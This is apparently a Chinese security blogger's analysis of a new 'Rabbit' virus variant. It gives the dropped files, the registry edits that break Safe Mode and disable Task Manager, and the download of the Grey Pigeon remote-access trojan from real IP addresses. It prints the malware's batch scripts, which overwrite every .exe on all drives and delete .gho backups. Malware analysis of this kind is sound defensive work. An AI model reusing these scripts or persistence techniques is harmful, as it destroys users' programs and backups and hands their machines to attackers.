兔子作者的博客已经声明停止更新 可是他违背了自己的诺言，又更新了一版
看来他是不不打算收手了
此变种的特殊之处
1.下载一个上兴的鸽子
2.禁止了注册表的运行
分析如下
文件大小 192,099 字节
MD5 2f9d6ff5b94dc9408eeeff9fb98cbf8d
运行后 释放如下文件
C:\WINDOWS\system32\JK~.exe
C:\WINDOWS\system32\loveRabbit~.exe
C:\WINDOWS\system32\MS006TZ.dll
C:\WINDOWS\system32\MS006TZ.dll.exe
C:\WINDOWS\system32\msexch400.dll
C:\WINDOWS\system32\Rabbit.exe
C:\WINDOWS\system32\sha~.bat
C:\WINDOWS\DLL.bat
C:\WINDOWS\GHO.bat
C:\WINDOWS\GHO.inf
C:\WINDOWS\ILTZ.bat
C:\WINDOWS\ILTZ.inf
C:\WINDOWS\IOTZ.bat
C:\WINDOWS\IOTZ.inf
C:\WINDOWS\loveRabbit.bat
C:\WINDOWS\paramstr.txt
每个分区释放一个autorun.inf 和一个Rabbit.exe 达到开机启动目的
loveRabbit.bat内容
attrib +s +h C:\WINDOWS\system32\msexch400.dll
attrib +s +h d:\Rabbit.exe
attrib +s +h e:\Rabbit.exe
attrib +s +h c:\Rabbit.exe
attrib +s +h f:\Rabbit.exe
attrib +s +h g:\Rabbit.exe
attrib +s +h h:\Rabbit.exe
attrib +s +h e:\AutoRun.inf
attrib +s +h f:\AutoRun.inf
attrib +s +h c:\AutoRun.inf
attrib +s +h d:\AutoRun.inf
attrib +s +h h:\AutoRun.inf
attrib +s +h g:\AutoRun.inf
还是 给这些文件加上系统和隐藏属性
ILTZ.bat内容
set /A r=%random%
FOR %%a in ( d: e: f: g: h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: s: y: z: ) do dir /s /b %%a\*.exe >>%windir%\ILTZ.inf
FOR %%a in ( c: d: e: f: g: h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: s: y: z: ) do dir /a:- /b %%a\*.gho>>%windir%\GHO.inf
cd %windir%
cd..
cd Program Files
dir *.exe /s /b >>%windir%\IOTZ.inf
IOTZ.bat
GHO.bat
遍历d到z盘 把所有exe文件名写入%windir%\ILTZ.inf
遍历c到z盘 把所有gho的文件名写入%windir%\GHO.inf
把系统盘下面的Program Files的文件名写入%windir%\IOTZ.inf
然后执行IOTZ.bat
GHO.bat
IOTZ.bat内容
FOR /f "delims=" %%i in (%windir%\ILTZ.inf) do copy /y %windir%\system32\Rabbit.exe "%%i"
FOR /f "delims=" %%i in (%windir%\IOTZ.inf) do copy /y %windir%\system32\Rabbit.exe "%%i"
还是替换文件
GHO.bat内容
FOR /f "delims=" %%i in (%windir%\GHO.inf) do del /a:- "%%i"
删除gho文件吧
sha~.bat和DLL.bat分别用来注册MS006TZ.dll
释放的C:\WINDOWS\system32\msexch400.dll插入winlogon进程
连接到218.1.74.142:80
下载一个上兴的灰鸽子
释放为C:\WINDOWS\bsgz.exe 注册名为bsgz的服务 鸽子连接的远端IP 59.55.255.56:8000
主要的注册表改动如下
添加HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{4bf41072-b2b1-21c1-b5c1-0305f4155515}\StubPath 指向C:\WINDOWS\system32\JK~.exe 达到开机启动目的
删除键
HKLM\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318}
HKLM\SYSTEM\ControlSet001\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318}
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318}
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318}
删除值
HKLM\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318}\: "DiskDrive"
HKLM\SYSTEM\ControlSet001\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318}\: "DiskDrive"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318}\: "DiskDrive"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318}\: "DiskDrive"
破坏安全模式
增加值
HKU\S-1-5-21-1085031214-1078145449-839522115-500\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr: 30 00 00 00 5C 00 57 00 49 00 4E 00 44 00 4F 00 57 00 53 00 00 00 61 00 67 00 65 00 0A 00 05 00 6C 00 69 00 28 3F 00 3F 14 00 00 00 6E 00 64 00 6F 00 77 00 00 00 00 00 00 00 06 00 09 00 00 00 00 00 3F 14 00 30 3F 00 3F 14 00 C0 D1 19 00 00 00 69 74 2E 65 78 65 0D 0A 00 00 6F 00 74 00 00 00 73 00 79 00 73 00 05 00 0A 00 3F 08 00 02 00 00 00 30 00 00 00 75 00 62 00 50 00 61 00 74 00 68 00 00 00 74 00 00 00 00 00 00 00 65 00 0A 00 05 00 3F 08 00 3F 14 00 B0 D2 19 00 73 00 74 00 65 00 6D 00 52 00 6F 00 6F 00 74 00 00 00 00 00 00 00 73 00 05 00 05 00 3F 08 00 14 00 00 00 53 00 79 00 73 00 74 00 65 00 6D 00 52 00 6F 00 6F 00 74 00 00 00 00 00 00 00 00 00 09 00 0A 00 FF 01 08 00 36 00 00 00 43 00 3A 00 5C 00 57 00 49 00 4E 00 44 00 4F 00
HKU\S-1-5-21-1085031214-1078145449-839522115-500\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools: 0x00000001
使得任务管理器和注册表编辑器被禁用
HKLM\SYSTEM\CurrentControlSet\Services\bsgz\Type: 0x00000110
HKLM\SYSTEM\CurrentControlSet\Services\bsgz\Start: 0x00000002
HKLM\SYSTEM\CurrentControlSet\Services\bsgz\ErrorControl: 0x00000000
HKLM\SYSTEM\CurrentControlSet\Services\bsgz\ImagePath: "C:\WINDOWS\bsgz.exe"
HKLM\SYSTEM\CurrentControlSet\Services\bsgz\DisplayName: "bsgz"
HKLM\SYSTEM\CurrentControlSet\Services\bsgz\
ObjectName: "LocalSystem"
HKLM\SYSTEM\CurrentControlSet\Services\bsgz\Description: "上兴远程控制服务端"
注册那个上兴的鸽子
作者虽然在自己的博客里说明已经停止了更新 但病毒的又一次更新打破了他的诺言
折腾 接着折腾吧...
